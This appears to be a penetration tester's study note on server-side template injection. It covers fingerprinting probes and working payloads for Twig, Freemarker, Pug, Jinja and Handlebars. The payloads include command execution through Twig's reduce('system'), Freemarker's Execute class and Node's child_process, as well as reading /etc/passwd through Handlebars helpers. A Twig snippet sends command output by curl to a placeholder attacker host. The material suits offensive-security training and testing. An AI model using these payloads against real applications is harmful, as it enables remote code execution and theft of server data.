Skip to content

Server-side Template Injection SSTI

Server-side Template Injection

Template engines:

Engine Language Server/Client side Discovering engine
Twig PHP Server side 1) {{5 * '5'}} returns 25, 2) {{-name-}} returns trimmed name value
Freemaker Java(usually) Server side 1) ${5 multiply '5'} returns an error, but ${5 multiply 5} returns 25
Pug/Jade JS Mostly server side 1) #{5*"5"} returns <25>
Jinja Python Server side 1) {{5*"5"}} returns 55555
Handlebars JS Both
Mustache Multiple Varies

In ascending order of logic: 1. Mustache 2. Handlebars 3. Jinja 4. Freemaker 5. Twig 6. Pug

💡Most templating engines will always escape HTML content unless specified not to.

Twig

See details in documentation of Twig 2023051512325757 SSTI#^f60b31 Payloads:

{{[0]|reduce('system','whoami')}}
Another interesting functions: filter, join, map, reduce, slice, and sort Other filters you can find here 2023051512325757 SSTI#^d94507

Send result of operation to the attacker's machine

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://ATTACKER_/?exfil=' ~ exfil)}}

Freemaker

See details in documentation of freemaker 2023051512325757 SSTI#^bd9b07

💡 Freemarker auto-escape variables if the content type was an HTML document 💡 Before 2016, Freemarker required developers to specify if a variable needs to be HTML escaped. We can try to exploit XSS to template variables.

${"freemarker.template.utility.Execute"?new()("whoami")}
List of all classes we might use in template 2023051512325757 SSTI#^f518ad

Pug

See details in documentation of pug 2023051512325757 SSTI#^360eb2 We can use child_process: 2023051512325757 SSTI#^c2fd17

- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

Jinja

If Jinja with Flask framework we can access to global variables like: config, request, session, g, url_for(), and get_flashed_messages() 2023051512325757 SSTI#^cf86f3

 {{config|pprint}}

Mustache and Handlebars

Hnadlebars mostly uses in JS. See details in documentation 2023051512325757 SSTI#^116a10 If an application uses the Handlebars templating engine and uses handlebars-helpers 2023051512325757 SSTI#^3c2744, we may be able to steal sensitive files from the file system

{{#each (readdir "/etc") }}
  {{this}}
{{/each}}

{{ read "/etc/passwd"}}

References

  1. web200.Server-side Template Injection - Discovery and Exploitation
  2. (Symfony, 2021), https://twig.symfony.com/doc/3.x/filters/index.html ↩︎ ^d94507
  3. https://twig.symfony.com/ ^f60b31
  4. Apache, 2021), https://freemarker.apache.org/ ^bd9b07
  5. https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html ^f518ad
  6. https://pugjs.org/api/getting-started.html ^360eb2
  7. https://nodejs.org/docs/latest/api/child_process.html#child_process_child_process_spawnsync_command_args_options ^c2fd17
  8. https://flask.palletsprojects.com/en/2.0.x/templating/#standard-context ^cf86f3
  9. (handlebars-lang, 2021), https://github.com/handlebars-lang/handlebars.js ^116a10
  10. (helpers, 2017), https://github.com/helpers/handlebars-helpers ^3c2744